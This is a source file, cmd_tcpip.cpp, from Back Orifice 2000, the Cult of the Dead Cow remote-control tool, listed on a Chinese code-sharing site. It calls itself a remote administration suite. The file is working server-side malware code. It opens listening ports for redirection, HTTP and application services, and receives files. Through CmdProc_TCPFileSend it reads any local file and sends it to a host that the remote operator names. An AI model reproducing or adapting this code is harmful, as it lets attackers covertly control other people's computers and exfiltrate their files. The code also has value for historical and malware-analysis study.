cmd_tcpip.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:13k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<cmdcmd_tcpip.h>
  19. // ---- Type Definitions ----------------------------------
  20. #define TM_PORTTHREAD_DESTROY (WM_APP+69)
  21. #define MAX_CONNECTIONS 16
  22. typedef DWORD (WINAPI *THREADPROC)(LPVOID lpParameter);
  23. #pragma pack(push,1)
  24. typedef struct __port_thread_param {
  25. SOCKET s;
  26. THREADPROC proc;
  27. int nArg1;
  28. char *svArg2;
  29. char *svArg3;
  30. } PORT_THREAD_PARAM;
  31. typedef struct __port_info {
  32. int nPort;
  33. char svType[256];
  34. DWORD dwThread;     
  35. HANDLE hThread;
  36. struct __port_info *next;
  37. } PORT_INFO;
  38. #pragma pack(pop)
  39. // ---- Globals ----------------------------------
  40. PORT_INFO *g_pPortInfoHead;
  41. CRITICAL_SECTION g_PortCritSec;
  42. // ---- Initialization ----------------------------------
  43. void Cmd_Tcpip_Init(void)
  44. {
  45. g_pPortInfoHead=NULL;
  46. InitializeCriticalSection(&g_PortCritSec);
  47. }
  48. void Cmd_Tcpip_Kill(void)
  49. {
  50. PORT_INFO *next;
  51. while(g_pPortInfoHead!=NULL) {
  52. PostThreadMessage(g_pPortInfoHead->dwThread,TM_PORTTHREAD_DESTROY,0,0);
  53. WaitForSingleObject(g_pPortInfoHead->hThread,6000);
  54. next=g_pPortInfoHead->next;
  55. free(g_pPortInfoHead);
  56. g_pPortInfoHead=next;
  57. }
  58. DeleteCriticalSection(&g_PortCritSec);
  59. }
  60. // ---- Port server thread procedure ----------------------------------
  61. DWORD WINAPI PortServerThread(LPVOID lpParameter)
  62. {
  63. SOCKET s;
  64. SOCKADDR_IN saddr;
  65. int nSize;
  66. BOOL bDone;
  67. HANDLE hChildren[MAX_CONNECTIONS];
  68. int i,j,nConnections;
  69. MSG msg;
  70. PORT_THREAD_PARAM *pptp=(PORT_THREAD_PARAM *) lpParameter;
  71. nConnections=0;
  72. bDone=FALSE;
  73. while(!bDone) {
  74. // Give up time
  75. Sleep(20);
  76. // Do we have a connection pending?
  77. if(nConnections<MAX_CONNECTIONS) {
  78. nSize=sizeof(SOCKADDR_IN);
  79. s=accept(pptp->s,(SOCKADDR *)&saddr,&nSize);
  80. if(s!=INVALID_SOCKET) {
  81. // Allocate variable passing data
  82. PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *)malloc(sizeof(PORT_CHILD_PARAM));
  83. if(ppcp!=NULL) {
  84. ppcp->s=s;
  85. ppcp->nArg1=pptp->nArg1;
  86. ppcp->svArg2=pptp->svArg2;
  87. ppcp->svArg3=pptp->svArg3;
  88. ppcp->saddr=saddr;
  89. ppcp->pbDone=&bDone;
  90. DWORD tid;
  91. hChildren[nConnections]=CreateThread(NULL,0,pptp->proc,ppcp,0,&tid);
  92. if(hChildren[nConnections]==NULL) {
  93. free(ppcp);
  94. closesocket(s);
  95. } else nConnections++;
  96. }
  97. }
  98. }
  99. // Look for dead children and clean them up
  100. for(i=nConnections-1;i>=0;i--) {
  101. if(WaitForSingleObject(hChildren[i],0)!=WAIT_TIMEOUT) {
  102. for(j=i+1;j<nConnections;j++) {
  103. hChildren[j-1]=hChildren[j];
  104. }
  105. nConnections--;
  106. }
  107. }
  108. // Should we kill our children?
  109. if(PeekMessage(&msg,(HWND)-1,0,0,PM_REMOVE)) {
  110. if(msg.message==TM_PORTTHREAD_DESTROY) {
  111. bDone=TRUE;
  112. WaitForMultipleObjects(nConnections,hChildren,TRUE,6000);
  113. }
  114. }
  115. }
  116. closesocket(pptp->s);
  117. free(pptp);
  118. return 0;
  119. }
  120. // ---- Port Thread List Maintenance ----------------------------------
  121. // returns 0 if all is well. returns -1 if the port is taken already. -2 on failure.
  122. int __cdecl AddNewPortThread(THREADPROC proc, char *svType, int nPort, int nArg1, char *svArg2, char *svArg3)
  123. {
  124. // Get thread parameter passing struct 
  125. PORT_THREAD_PARAM *pptp;
  126. int nParmSize=sizeof(PORT_THREAD_PARAM) + lstrlen(svArg2) + lstrlen(svArg3) + 2;
  127. pptp=(PORT_THREAD_PARAM *)malloc(nParmSize);
  128. if(pptp==NULL) return -2;
  129. // Get thread port info struct
  130. PORT_INFO *ppi;
  131. ppi=(PORT_INFO *)malloc(sizeof(PORT_INFO));
  132. if(ppi==NULL) {
  133. free(pptp);
  134. return -2;
  135. }
  136. // Create socket for this thread
  137. SOCKET s;
  138. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  139. if(s==INVALID_SOCKET) {
  140. free(pptp);
  141. free(ppi);
  142. return -2;
  143. }
  144. // Bind to desired port
  145. SOCKADDR_IN saddr;
  146. memset(&saddr,0,sizeof(SOCKADDR_IN));
  147. saddr.sin_family=AF_INET;
  148. saddr.sin_port=htons(nPort);
  149. saddr.sin_addr.s_addr=0;
  150. if(bind(s,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  151. closesocket(s);
  152. free(pptp);
  153. free(ppi);
  154. return -1;
  155. }
  156. listen(s,MAX_CONNECTIONS);
  157. // Nonblocking mode
  158. DWORD argp=TRUE;
  159. ioctlsocket(s,FIONBIO,&argp);
  160. // Fill in thread param information
  161. pptp->s=s;
  162. pptp->proc=proc;
  163. pptp->nArg1=nArg1;
  164. pptp->svArg2=(char *)pptp + sizeof(PORT_THREAD_PARAM);
  165. pptp->svArg3=(char *)pptp + sizeof(PORT_THREAD_PARAM) + lstrlen(svArg2) + 1;
  166. lstrcpy(pptp->svArg2,svArg2);
  167. lstrcpy(pptp->svArg3,svArg3);
  168. // Now create thread and update list
  169. EnterCriticalSection(&g_PortCritSec);
  170. // Verify port table is okay
  171. PORT_INFO *cur;
  172. for(cur=g_pPortInfoHead;cur;cur=cur->next) {
  173. if(cur->nPort==nPort) {
  174. closesocket(s);
  175. free(pptp);
  176. free(ppi);
  177. LeaveCriticalSection(&g_PortCritSec);
  178. return -2;
  179. }
  180. }
  181. // Create Thread (suspended)
  182. ppi->hThread=CreateThread(NULL,0,PortServerThread,pptp,CREATE_SUSPENDED,&(ppi->dwThread));
  183. if(ppi->hThread==NULL) {
  184. closesocket(s);
  185. free(pptp);
  186. free(ppi);
  187. LeaveCriticalSection(&g_PortCritSec);
  188. return -2;
  189. }
  190. // Add to port table
  191. wsprintf(ppi->svType,"%.64s (%.128s)",svType,svArg2);
  192. ppi->nPort=nPort;
  193. ppi->next=g_pPortInfoHead;
  194. g_pPortInfoHead=ppi;
  195. // Begin thread execution
  196. ResumeThread(ppi->hThread);
  197. LeaveCriticalSection(&g_PortCritSec);
  198. return 0;
  199. }
  200. // returns 0 if port was removed. returns -1 if the port is not there. -2 on failure.
  201. int KillPortThread(int nPort)
  202. {
  203. EnterCriticalSection(&g_PortCritSec);
  204. // Verify port is okay
  205. PORT_INFO *cur,*prev;
  206. prev=NULL;
  207. for(cur=g_pPortInfoHead;cur;cur=cur->next) {
  208. if(cur->nPort==nPort) {
  209. break;
  210. }
  211. prev=cur;
  212. }
  213. if(cur==NULL) {
  214. LeaveCriticalSection(&g_PortCritSec);
  215. return -1;
  216. }
  217. // Issue kill message to thread
  218. PostThreadMessage(cur->dwThread,TM_PORTTHREAD_DESTROY,0,0);
  219. // Wait for thread to die
  220. if(WaitForSingleObject(cur->hThread,6000)==WAIT_TIMEOUT) {
  221. LeaveCriticalSection(&g_PortCritSec);
  222. return -2;
  223. }
  224. // Erase from list
  225. if(cur==g_pPortInfoHead) g_pPortInfoHead=cur->next;
  226. else prev->next=cur->next;
  227. free(cur);
  228. LeaveCriticalSection(&g_PortCritSec);
  229. return 0;
  230. }
  231. // ---- TCP/IP Command Procedures ----------------------------------
  232. DWORD WINAPI PortRedirThread(LPVOID lpParameter);
  233. DWORD WINAPI PortHTTPThread(LPVOID lpParameter);
  234. DWORD WINAPI PortAppThread(LPVOID lpParameter);
  235. DWORD WINAPI PortFileRecvThread(LPVOID lpParameter);
  236. int CmdProc_RedirAdd(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  237. {
  238. if(AddNewPortThread(PortRedirThread, "Redir", nArg1, nArg1, svArg2, svArg3)!=0) {
  239. IssueAuthCommandReply(cas_from,comid,0,"Error starting port service.n");
  240. } else {
  241. IssueAuthCommandReply(cas_from,comid,0,"Port service startup successful.n");
  242. }
  243. return 0;
  244. }
  245. int CmdProc_AppAdd(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  246. {
  247. if(AddNewPortThread(PortAppThread, "App", nArg1, nArg1, svArg2, svArg3)!=0) {
  248. IssueAuthCommandReply(cas_from,comid,0,"Error starting port service.n");
  249. } else {
  250. IssueAuthCommandReply(cas_from,comid,0,"Port service startup successful.n");
  251. }
  252. return 0;
  253. }
  254. int CmdProc_HTTPEnable(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  255. {
  256. if(AddNewPortThread(PortHTTPThread, "HTTP", nArg1, nArg1, svArg2, svArg3)!=0) {
  257. IssueAuthCommandReply(cas_from,comid,0,"Error starting port service.n");
  258. } else {
  259. IssueAuthCommandReply(cas_from,comid,0,"Port service startup successful.n");
  260. }
  261. return 0;
  262. }
  263. int CmdProc_TCPFileReceive(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  264. {
  265. if(AddNewPortThread(PortFileRecvThread, "FileRecv", nArg1, nArg1, svArg2, svArg3)!=0) {
  266. IssueAuthCommandReply(cas_from,comid,0,"Error starting port service.n");
  267. } else {
  268. IssueAuthCommandReply(cas_from,comid,0,"Port service startup successful.n");
  269. }
  270. return 0;
  271. }
  272. int CmdProc_PortList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  273. {
  274. PORT_INFO *cur;
  275. EnterCriticalSection(&g_PortCritSec);
  276. cur=g_pPortInfoHead;
  277. while(cur) {
  278. char svDesc[256];
  279. wsprintf(svDesc, "Port %d: --> %.200sn",cur->nPort, cur->svType);
  280. IssueAuthCommandReply(cas_from,comid,1,svDesc);
  281. cur=cur->next;
  282. }
  283. IssueAuthCommandReply(cas_from,comid,0,"End port redirect list.n");
  284. LeaveCriticalSection(&g_PortCritSec);
  285. return 0;
  286. }
  287. int CmdProc_PortDel(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  288. {
  289. if(KillPortThread(nArg1)!=0) {
  290. IssueAuthCommandReply(cas_from,comid,0,"Unable to remove port redirect.n");
  291. } else {
  292. IssueAuthCommandReply(cas_from,comid,0,"Port redirect removed.n");
  293. }
  294. return 0;
  295. }
  296. typedef struct {
  297. CAuthSocket *cas_from;
  298. int comid;
  299. SOCKET s;
  300. HANDLE hInFile;
  301. } SENDTHREADDATA;
  302. DWORD WINAPI TCPFileSendThread(LPVOID dwParam)
  303. {
  304. char svBuffer[1024];
  305. SENDTHREADDATA *pstd=(SENDTHREADDATA *)dwParam;
  306. DWORD dwBytes;
  307. do {
  308. ReadFile(pstd->hInFile,svBuffer,1024,&dwBytes,NULL);
  309. if(send(pstd->s,svBuffer,dwBytes,0)<=0) break;
  310. } while(dwBytes==1024);
  311. IssueAuthCommandReply(pstd->cas_from,pstd->comid,0,"Transfer finished.n");
  312. closesocket(pstd->s);
  313. CloseHandle(pstd->hInFile);
  314. free(pstd);
  315. return 0;
  316. }
  317. int CmdProc_TCPFileSend(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  318. {
  319. // Get thread parameter passing struct 
  320. SENDTHREADDATA *pstd;
  321. pstd=(SENDTHREADDATA *)malloc(sizeof(SENDTHREADDATA));
  322. if(pstd==NULL) {
  323. IssueAuthCommandReply(cas_from,comid,0,"Error sending file.n");
  324. return -1;
  325. }
  326. HANDLE hInFile;
  327. hInFile=CreateFile(svArg3,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  328. if(hInFile==INVALID_HANDLE_VALUE) {
  329. IssueAuthCommandReply(cas_from,comid,0,"Couldn't open local file.n");
  330. return -1;
  331. }
  332. // Create socket for this thread
  333. SOCKET s;
  334. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  335. if(s==INVALID_SOCKET) {
  336. IssueAuthCommandReply(cas_from,comid,0,"Error creating socket.n");
  337. CloseHandle(hInFile);
  338. free(pstd);
  339. return -1;
  340. }
  341. // Bind to desired port
  342. if(nArg1!=0) {
  343. SOCKADDR_IN saddr;
  344. memset(&saddr,0,sizeof(SOCKADDR_IN));
  345. saddr.sin_family=AF_INET;
  346. saddr.sin_port=htons((WORD)nArg1);
  347. saddr.sin_addr.s_addr=0;
  348. if(bind(s,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  349. IssueAuthCommandReply(cas_from,comid,0,"Error binding local port.n");
  350. closesocket(s);
  351. CloseHandle(hInFile);
  352. free(pstd);
  353. return -1;
  354. }
  355. }
  356. // Fill in thread param information
  357. pstd->s=s;
  358. pstd->cas_from=cas_from;
  359. pstd->comid=comid;
  360. pstd->hInFile=hInFile;
  361. // Blocking mode
  362. DWORD argp=FALSE;
  363. ioctlsocket(s,FIONBIO,&argp);
  364. // Get remote address and port
  365. int nPort;
  366. DWORD dwAddr;
  367. char *c;
  368. if((c=strrchr(svArg2,':'))==NULL) {
  369. IssueAuthCommandReply(cas_from,comid,0,"No target port specifiedn");
  370. closesocket(s);
  371. CloseHandle(hInFile);
  372. free(pstd);
  373. return -1;
  374. }
  375. nPort=atoi(c+1);
  376. *c=0;
  377. dwAddr=inet_addr(svArg2);
  378. if(dwAddr==INADDR_NONE) {
  379. struct hostent *hent;
  380. hent=gethostbyname(svArg2);
  381. if(hent==NULL) {
  382. IssueAuthCommandReply(cas_from,comid,0,"Could not resolve hostnamen");
  383. closesocket(s);
  384. CloseHandle(hInFile);
  385. free(pstd);
  386. return -1;
  387. }
  388. dwAddr=*(DWORD *)hent->h_addr_list[0];
  389. }
  390. // Connect to remote host
  391. SOCKADDR_IN daddr;
  392. memset(&daddr,0,sizeof(SOCKADDR_IN));
  393. daddr.sin_family=AF_INET;
  394. daddr.sin_port=htons(nPort);
  395. daddr.sin_addr.s_addr=dwAddr;
  396. if(connect(s,(SOCKADDR *)&daddr,sizeof(SOCKADDR_IN))!=0) {
  397. IssueAuthCommandReply(cas_from,comid,0,"Could not connect to remote host.n");
  398. closesocket(s);
  399. CloseHandle(hInFile);
  400. free(pstd);
  401. return -1;
  402. }
  403. // Create transfer thread
  404. DWORD dwThread;
  405. if(CreateThread(NULL,0, TCPFileSendThread, pstd, 0, &dwThread)==NULL) {
  406. IssueAuthCommandReply(cas_from,comid,0,"Error creating send thread.n");
  407. closesocket(s);
  408. CloseHandle(hInFile);
  409. free(pstd);
  410. }
  411. IssueAuthCommandReply(cas_from,comid,1,"Transferring....n");
  412. return 0;
  413. }